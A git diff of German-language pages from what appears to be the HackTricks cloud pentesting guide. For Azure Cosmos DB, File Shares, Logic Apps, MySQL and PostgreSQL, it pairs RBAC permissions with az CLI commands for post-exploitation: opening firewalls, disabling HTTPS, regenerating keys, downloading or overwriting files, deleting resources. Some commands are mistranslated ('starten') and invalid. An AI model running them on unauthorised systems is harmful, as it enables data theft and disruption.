+### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
Mit dieser Berechtigung können Sie Azure Cosmos DB-Konten erstellen oder aktualisieren. Dies umfasst die Änderung von kontobezogenen Einstellungen, das Hinzufügen oder Entfernen von Regionen, das Ändern von Konsistenzstufen und das Aktivieren oder Deaktivieren von Funktionen wie Multi-Region-Schreibvorgängen.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb update \
--name \
--resource-group \
--public-network-access ENABLED
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
Mit dieser Berechtigung können Sie Container (Sammlungen) innerhalb einer SQL-Datenbank eines Azure Cosmos DB-Kontos erstellen oder ändern. Container werden verwendet, um Daten zu speichern, und Änderungen an ihnen können die Struktur und Zugriffsarten der Datenbank beeinflussen.
-
-{% code overflow="wrap" %}
```bash
# Create
az cosmosdb sql container create \
@@ -43,25 +37,17 @@ az cosmosdb sql container update \
--name \
--ttl 3600
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
Mit dieser Berechtigung können Sie SQL-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen oder ändern. Dies ermöglicht die Verwaltung der Datenbankstruktur und das Hinzufügen neuer Datenbanken zum Konto. Während diese Berechtigung die Erstellung von Datenbanken ermöglicht, könnte unsachgemäße oder unbefugte Nutzung zu unnötigem Ressourcenverbrauch, erhöhten Kosten oder betrieblichen Ineffizienzen führen.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Mit dieser Berechtigung können Sie die Failover-Priorität von Regionen für ein Azure Cosmos DB-Datenbankkonto ändern. Diese Aktion bestimmt die Reihenfolge, in der Regionen während eines Failover-Ereignisses primär werden. Unsachgemäße Verwendung dieser Berechtigung kann die hohe Verfügbarkeit der Datenbank stören oder unbeabsichtigte betriebliche Auswirkungen haben.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb failover-priority-change \
--name \
@@ -69,12 +55,8 @@ az cosmosdb failover-priority-change \
--failover-policies
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
Mit dieser Berechtigung können Sie die primären oder sekundären Schlüssel für ein Azure Cosmos DB-Konto regenerieren. Dies wird typischerweise verwendet, um die Sicherheit zu erhöhen, indem alte Schlüssel ersetzt werden, kann jedoch den Zugriff auf Dienste oder Anwendungen stören, die auf die aktuellen Schlüssel angewiesen sind.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb keys regenerate \
--name \
@@ -82,13 +64,9 @@ az cosmosdb keys regenerate \
--key-kind
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen auszuführen.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -100,12 +78,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
Mit dieser Berechtigung können Sie gespeicherte Prozeduren innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Gespeicherte Prozeduren in Cosmos DB sind serverseitige JavaScript-Funktionen, die es Ihnen ermöglichen, Logik zur Verarbeitung von Daten oder zur Durchführung von Operationen direkt innerhalb der Datenbank zu kapseln.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql stored-procedure create \
--account-name \
@@ -115,12 +89,8 @@ az cosmosdb sql stored-procedure create \
--name \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen wie Einfügungen, Aktualisierungen oder Löschungen auszuführen.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql trigger create \
--account-name \
@@ -132,12 +102,8 @@ az cosmosdb sql trigger create \
--type Pre \
--operation All
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write`
Mit dieser Berechtigung können Sie Sammlungen innerhalb von MongoDB-Datenbanken in einem Azure Cosmos DB-Konto erstellen oder ändern. Sammlungen werden verwendet, um Dokumente zu speichern und die Struktur sowie die Partitionierung für Daten zu definieren.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb collection create \
--account-name \
@@ -145,24 +111,16 @@ az cosmosdb mongodb collection create \
--database-name \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read`
Mit dieser Berechtigung können Sie neue MongoDB-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung neuer Datenbanken zum Speichern und Verwalten von Sammlungen und Dokumenten.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb database create \
--account-name \
--resource-group \
--name
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb role definition create \
--account-name \
@@ -188,11 +146,8 @@ az cosmosdb mongodb role definition create \
"Roles": []
}'
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Mit dieser Berechtigung können Sie neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriffslevels auf MongoDB-Datenbanken.
-{% code overflow="wrap" %}
```bash
az cosmosdb mongodb user definition create \
--account-name \
@@ -212,6 +167,4 @@ az cosmosdb mongodb user definition create \
]
}'
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
index a8a3db960..ea20ecc19 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -10,7 +10,7 @@ Für weitere Informationen zu Dateifreigaben siehe:
../az-services/az-file-shares.md
{{#endref}}
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
Ein Principal mit dieser Berechtigung kann die Dateien innerhalb einer Dateifreigabe **auflisten** und die Dateien **herunterladen**, die möglicherweise **sensible Informationen** enthalten.
```bash
@@ -28,9 +28,9 @@ az storage file download \
--dest /path/to/down \
--auth-mode login --enable-file-backup-request-intent
```
-### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action`
-Ein Principal mit dieser Berechtigung wird in der Lage sein, **Dateien in Dateifreigaben zu schreiben und zu überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige im Dateifreigabe gespeicherte Codes überschreiben):
+Ein Principal mit dieser Berechtigung kann **Dateien in Dateifreigaben schreiben und überschreiben**, was ihm möglicherweise ermöglicht, Schaden anzurichten oder sogar Privilegien zu eskalieren (z. B. einige in einer Dateifreigabe gespeicherte Codes überschreiben):
```bash
az storage blob upload \
--account-name \
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
index ec4fbcbb6..b190974a0 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md
@@ -5,14 +5,12 @@
## Logic Apps Datenbank Post-Exploitation
Für weitere Informationen zu Logic Apps siehe:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Mit diesen Berechtigungen können Sie Logic App-Workflows ändern und deren Identitäten verwalten. Insbesondere können Sie systemzugewiesene und benutzerzugewiesene verwaltete Identitäten für Workflows zuweisen oder entfernen, was es der Logic App ermöglicht, sich zu authentifizieren und auf andere Azure-Ressourcen ohne explizite Anmeldeinformationen zuzugreifen.
-
-{% code overflow="wrap" %}
```bash
az logic workflow identity remove/assign \
--name \
@@ -20,49 +18,32 @@ az logic workflow identity remove/assign \
--system-assigned true \
--user-assigned "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/"
```
-{% endcode %}
-
-### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
+### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
Mit diesen Berechtigungen können Sie Logic Apps erstellen oder aktualisieren, die auf einem App Service Plan gehostet werden. Dazu gehört das Ändern von Einstellungen wie das Aktivieren oder Deaktivieren der HTTPS-Durchsetzung.
-
-{% code overflow="wrap" %}
```bash
az logicapp update \
--resource-group \
--name \
--set httpsOnly=false
```
-{% endcode %}
-
-### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
+### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`
Mit dieser Berechtigung können Sie eine Webanwendung starten, stoppen oder neu starten, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Diese Aktion stellt sicher, dass eine zuvor gestoppte Anwendung online gebracht wird und ihre Funktionalität wieder aufnimmt. Dies kann Arbeitsabläufe stören, unbeabsichtigte Operationen auslösen oder Ausfallzeiten verursachen, indem Logic Apps unerwartet gestartet, gestoppt oder neu gestartet werden.
-
-{% code overflow="wrap" %}
```bash
az webapp start/stop/restart \
--name \
--resource-group
```
-{% endcode %}
-
-
-### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/read` && `Microsoft.Web/sites/config/write`
Mit dieser Berechtigung können Sie Einstellungen für Webanwendungen konfigurieren oder ändern, einschließlich Logic Apps, die auf einem App Service Plan gehostet werden. Dies ermöglicht Änderungen an Anwendungseinstellungen, Verbindungszeichenfolgen, Authentifizierungskonfigurationen und mehr.
-
-{% code overflow="wrap" %}
```bash
az logicapp config appsettings set \
--name \
--resource-group \
--settings "="
```
-{% endcode %}
-
-### "Microsoft.Logic/integrationAccounts/write"
-Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskontenebene-Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr.
-
-{% code overflow="wrap" %}
+### `Microsoft.Logic/integrationAccounts/write`
+Mit dieser Berechtigung können Sie Azure Logic Apps-Integrationskonten erstellen, aktualisieren oder löschen. Dazu gehört die Verwaltung von Integrationskonten-spezifischen Konfigurationen wie Maps, Schemata, Partner, Vereinbarungen und mehr.
```bash
az logic integration-account create \
--resource-group \
@@ -71,13 +52,9 @@ az logic integration-account create \
--sku \
--state Enabled
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`
Mit dieser Berechtigung können Sie Batchkonfigurationen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Batchkonfigurationen definieren, wie Logic Apps eingehende Nachrichten für die Batchverarbeitung verarbeiten und gruppieren.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account batch-configuration create \
--resource-group \
@@ -88,12 +65,8 @@ az logic integration-account batch-configuration create \
"batchSize": 1048576,
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
Mit dieser Berechtigung können Sie Karten innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Karten werden verwendet, um Daten von einem Format in ein anderes zu transformieren, was eine nahtlose Integration zwischen verschiedenen Systemen und Anwendungen ermöglicht.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account map create \
--resource-group \
@@ -103,12 +76,8 @@ az logic integration-account map create \
--content-type application/xml \
--map-content map-content.xslt
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
Mit dieser Berechtigung können Sie Partner in einem Azure Logic Apps-Integrationskonto erstellen oder ändern. Partner repräsentieren Entitäten oder Systeme, die an Geschäftsprozessen (B2B) teilnehmen.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account partner create \
--resource-group \
@@ -126,12 +95,8 @@ az logic integration-account partner create \
}
}'
```
-{% endcode %}
-
-### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
+### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Mit dieser Berechtigung können Sie Sitzungen innerhalb eines Azure Logic Apps-Integrationskontos erstellen oder ändern. Sitzungen werden in B2B-Workflows verwendet, um Nachrichten zu gruppieren und verwandte Transaktionen über einen definierten Zeitraum zu verfolgen.
-
-{% code overflow="wrap" %}
```bash
az logic integration-account session create \
--resource-group \
@@ -147,8 +112,6 @@ az logic integration-account session create \
}
}'
```
-{% endcode %}
-
### "*/delete"
Mit diesen Berechtigungen können Sie Ressourcen im Zusammenhang mit Azure Logic Apps löschen.
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
index 89294716c..b6be5b88b 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -5,54 +5,40 @@
## MySQL-Datenbank-Post-Exploitation
Für weitere Informationen zur MySQL-Datenbank siehe:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer MySQL Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst vorhandene Ressourcen nicht ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziem Missbrauch des Servers führen.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+### `Microsoft.DBforMySQL/flexibleServers/backups/write`
Mit dieser Berechtigung können Sie die Erstellung von Backups für eine MySQL Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+### `Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write`
Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine MySQL Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
Mit dieser Berechtigung können Sie Firewallregeln für eine MySQL Flexible Server-Instanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az mysql flexible-server firewall-rule create \
@@ -70,71 +56,52 @@ az mysql flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
+### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
-### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
-
-Mit dieser Berechtigung können Sie die GTID (Global Transaction Identifier) für eine MySQL Flexible Server-Instanz auf Azure zurücksetzen. Das Zurücksetzen der GTID macht alle automatisierten, bedarfsorientierten Backups und Geo-Backups, die vor der Zurücksetzungsaktion erstellt wurden, ungültig. Nach dem Zurücksetzen der GTID können Sie keine PITR (Point-in-Time-Restore) mit dem schnellsten Wiederherstellungspunkt oder durch einen benutzerdefinierten Wiederherstellungspunkt durchführen, wenn die ausgewählte Wiederherstellungszeit vor der GTID-Zurücksetzungszeit liegt. Und eine erfolgreiche Geo-Wiederherstellung ist erst nach 5 Tagen möglich.
-
-{% code overflow="wrap" %}
+Mit dieser Berechtigung können Sie die GTID (Global Transaction Identifier) für eine MySQL Flexible Server-Instanz auf Azure zurücksetzen. Das Zurücksetzen der GTID macht alle automatisierten, bedarfsorientierten Backups und Geo-Backups, die vor der Zurücksetzungsaktion erstellt wurden, ungültig. Nach dem Zurücksetzen der GTID können Sie kein PITR (point-in-time-restore) mit dem schnellsten Wiederherstellungspunkt oder einem benutzerdefinierten Wiederherstellungspunkt durchführen, wenn die ausgewählte Wiederherstellungszeit vor der GTID-Zurücksetzungszeit liegt. Eine erfolgreiche Geo-Wiederherstellung ist erst nach 5 Tagen möglich.
```bash
az mysql flexible-server reset-gtid \
--name \
--resource-group \
--gtid-set
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer MySQL Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen. Sie können die folgenden Parameter zusammen in einem Batch aktualisieren: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors und max_connections.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server parameter set-batch \
--resource-group \
--server-name \
--args max_connections=
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Mit dieser Berechtigung können Sie eine benutzerdefinierte verwaltete Identität für MySQL flexible Server zuweisen.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server identity assign \
--resource-group \
--server-name \
--identity
```
-{% endcode %}
-
-### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+### `Microsoft.DBforMySQL/flexibleServers/stop/action`
Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind.
-
-{% code overflow="wrap" %}
```bash
az mysql flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforMySQL/flexibleServers/start/action"
+### `Microsoft.DBforMySQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
-az mysql flexible-server start \
+az mysql flexible-server starten \
--name \
--resource-group
```
-{% endcode %}
-### "*/delete"
+### `*/delete`
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
index 58af2f61a..df5c1e29d 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -2,57 +2,43 @@
{{#include ../../../banners/hacktricks-training.md}}
-## PostgreSQL-Datenbank Post-Exploitation
+## PostgreSQL-Datenbank-Post-Exploitation
Für weitere Informationen zur PostgreSQL-Datenbank siehe:
-{% content-ref url="../az-services/az-postgresql.md" %}
-[az-postgresql.md](../az-services/az-postgresql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-postgresql.md
+{{#endref}}
-### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Mit dieser Berechtigung können Sie neue Datenbanken innerhalb einer Postgres Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst vorhandene Ressourcen nicht ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziem Missbrauch des Servers führen.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server db create \
--server-name \
--resource-group \
--database-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Mit dieser Berechtigung können Sie die Erstellung von Backups für eine Postgres Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server backup create \
--name \
--resource-group
--backup-name
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine Postgres Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server threat-protection-policy update \
--name \
--resource-group \
--state
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
Mit dieser Berechtigung können Sie Firewallregeln für eine Postgres Flexible Serverinstanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen.
-
-{% code overflow="wrap" %}
```bash
# Create Rule
az postgres flexible-server firewall-rule create \
@@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \
--start-ip-address \
--end-ip-address
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read`
Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer Postgres Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server parameter set \
--resource-group \
@@ -84,45 +66,36 @@ az postgres flexible-server parameter set \
--name \
--value
```
-{% endcode %}
-
-### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind.
-
-{% code overflow="wrap" %}
```bash
az postgres flexible-server stop \
--name \
--resource-group
```
-{% endcode %}
-### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+### `Microsoft.DBforPostgreSQL/flexibleServers/start/action`
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
-{% code overflow="wrap" %}
```bash
az postgres flexible-server starten \
--name \
--resource-group
```
-{% endcode %}
